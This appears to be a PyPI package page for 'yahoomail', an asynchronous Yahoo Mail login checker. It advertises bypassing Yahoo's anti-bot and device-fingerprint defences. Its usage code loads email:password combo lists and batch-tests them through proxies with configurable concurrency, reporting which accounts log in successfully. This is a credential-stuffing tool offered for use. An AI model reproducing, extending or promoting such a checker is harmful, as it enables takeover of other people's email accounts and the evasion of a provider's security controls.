Skip to main content

A high-performance, async Yahoo Mail login automator.

Project description

yahoomail

⚡ A fast and stealthy Python login checker for Yahoo Mail accounts bypasses multi-step login flow, device fingerprint challenges, and delivers accurate status in milliseconds.


🚀 Features

  • 🔁 Fully asynchronous (via httpx.AsyncClient)
  • 🔍 Fast-path + fallback HTML form parsing
  • 🔐 Bypasses Yahoo's anti-bot login system
  • 🎯 Precise detection: SUCCESS, INVALID, 2FA, ERROR, UNKNOWN
  • 🧠 Regex-based turbo form extraction (1-pass)
  • 🌐 Proxy support: http, socks5, with multiple formats
  • 📡 Optimized headers & fingerprint handling
  • 🧪 Debug-ready (optional HTML dumps at every step)
  • 📦 Includes batch checker with configurable concurrency

📦 Installation

pip install yahoomail Or clone locally:

git clone https://github.com/anarchy223/yahoomail.git
cd yahoomail
pip install -r requirements.txt

🆕 What's New in v1.1

🛠️ Core Improvements

  • Smart Debugging: The debug=True flag now generates a sequential timeline of HTML snapshots (e.g., user_01_init.html, user_02_post.html) inside a debug/ directory.
  • Sanitization: Usernames are now sanitized before file creation to prevent filesystem errors.

🛡️ Detection Logic

  • Wider Coverage: Added support for new Yahoo error codes:
    • messages.INVALID_USERNAME & doesn't recognize this email
    • messages.INVALID_PASSWORD detection expanded.

⚡ Performance

  • Timeout Adjustment: Relaxed HTTP timeouts (connect=5.0, read=10.0) to reduce false positives with high-latency proxies.
  • Batch Optimization: Debug mode is automatically disabled in batch operations to prevent disk usage spikes.

⚙️ Usage

✅ Basic login check

from yahoomail import login

email = input("Enter Yahoo email: ")
password = input("Enter password: ")

status, message, duration_ms = login(email, password)
print(f"[{status}] {message} ({duration_ms}ms)")

🌍 Set a proxy

You can use the function: set_proxies("YOUR PROXY") to set a proxy. Here an example:

import asyncio
from yahoomail import set_proxies, run_batch

set_proxies("user:pass@host:port")

def load_combos(file_path):
    combos = []
    with open(file_path, "r", encoding="utf-8") as f:
        for line in f:
            line = line.strip()
            if not line or ":" not in line:
                continue
            email, password = line.split(":", 1)
            combos.append((email, password))
    return combos

creds = load_combos("combo.txt")
results = asyncio.run(run_batch(creds, concurrency=10))

for email, status, message in results:
    print(f"{email}{status}: {message}")

Supports formats :

  • user:pass@host:port
  • host:port
  • host,port,user,pass
  • host:port:user:pass

🚀 Batch checking (async)

import asyncio
from yahoomail import run_batch

def load_acc(file_path):
    combos = []
    with open(file_path, "r", encoding="utf-8") as f:
        for line in f:
            line = line.strip()
            if not line or ":" not in line:
                continue  
            email, password = line.split(":", 1)
            combos.append((email, password))
    return combos

creds = load_acc("accounts.txt")
results = asyncio.run(run_batch(creds, concurrency=10))
for email, status, message in results:
    print(f"{email}{status}: {message}")
Code Meaning
SUCCESS Valid login detected (your accounts is mostly valid!)
Invalid Invalid account
2FA 2-Factor Authentification (or means other errors)
Error Proxy / network / internal error (Or just Yahoo maybe implemented another level cap of security (ya need to check).
Unkown I fucked up...

🧰 Advanced

Enable debug HTML saves: Uncomment or modify the global flag in your script:

ENABLE_DEBUG_FILES = True

It will save HTML dumps per stage for inspection (eg: new security...)

🧠 How it works

This module emulates Yahoo Mail login behavior by reproducing:

  • Initial tokenized form loads
  • Username + password flow separation
  • Dynamic fingerprinting step
  • Cookie-based login validation
  • Full proxy routing with timeout handling
  • No Selenium. No headless browser. Just pure, clean HTTP emulation.

📜 License

Creative Commons Attribution-NonCommercial-ShareAlike 4.0 (CC BY-NC-SA 4.0)

  • ✅ You can use, study, modify, and share this project.
  • Commercial use (resale, SaaS integration, paid API, etc.) is strictly prohibited.
  • 🧠 You must give credit to the original author.
  • 🔁 If you modify it, you must release your version under the same license.

🔗 Read the full license terms here

☕ A note

This project was born from one simple idea: "If there's no public API... then I become the API."

Enjoy.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

yahoomail-1.1.1.tar.gz (3.8 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

yahoomail-1.1.1.0-py3-none-any.whl (6.0 kB view details)

Uploaded Python 3

yahoomail-1.1.1-py3-none-any.whl (3.6 kB view details)

Uploaded Python 3

File details

Details for the file yahoomail-1.1.1.tar.gz.

File metadata

  • Download URL: yahoomail-1.1.1.tar.gz
  • Upload date:
  • Size: 3.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.2

File hashes

Hashes for yahoomail-1.1.1.tar.gz
Algorithm Hash digest
SHA256 a28610c6c149740fa1f77707751a67ae1817ce4d7da7aacc1e89e0f86077f232
MD5 4f914b41f3955bbabeacec4987d209a9
BLAKE2b-256 3deb3b5c646bbce48853ea437e91992b860b898a8972889d63fe98ca5d137ef5

See more details on using hashes here.

File details

Details for the file yahoomail-1.1.1.0-py3-none-any.whl.

File metadata

  • Download URL: yahoomail-1.1.1.0-py3-none-any.whl
  • Upload date:
  • Size: 6.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.2

File hashes

Hashes for yahoomail-1.1.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 114091bdd750c18e4fb01be9d3f9471c53429e2b6fafa1e97cd5de1dc206366a
MD5 33648f31bceb5f8686f3319eaa119bf0
BLAKE2b-256 f47fa85091f918463d84f5cbfc61738b1f758b77ca1a79c70d6febed1fc96e18

See more details on using hashes here.

File details

Details for the file yahoomail-1.1.1-py3-none-any.whl.

File metadata

  • Download URL: yahoomail-1.1.1-py3-none-any.whl
  • Upload date:
  • Size: 3.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.2

File hashes

Hashes for yahoomail-1.1.1-py3-none-any.whl
Algorithm Hash digest
SHA256 3a2b217f17f683aa5305be355552233407e002f907dabae4cdee219cca5d8754
MD5 a206587efd438e8cb20b166a22004d3d
BLAKE2b-256 5f1b1a113987cf22462d8e697dc7978717299be742fcacfa19ceb0ce33c11856

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page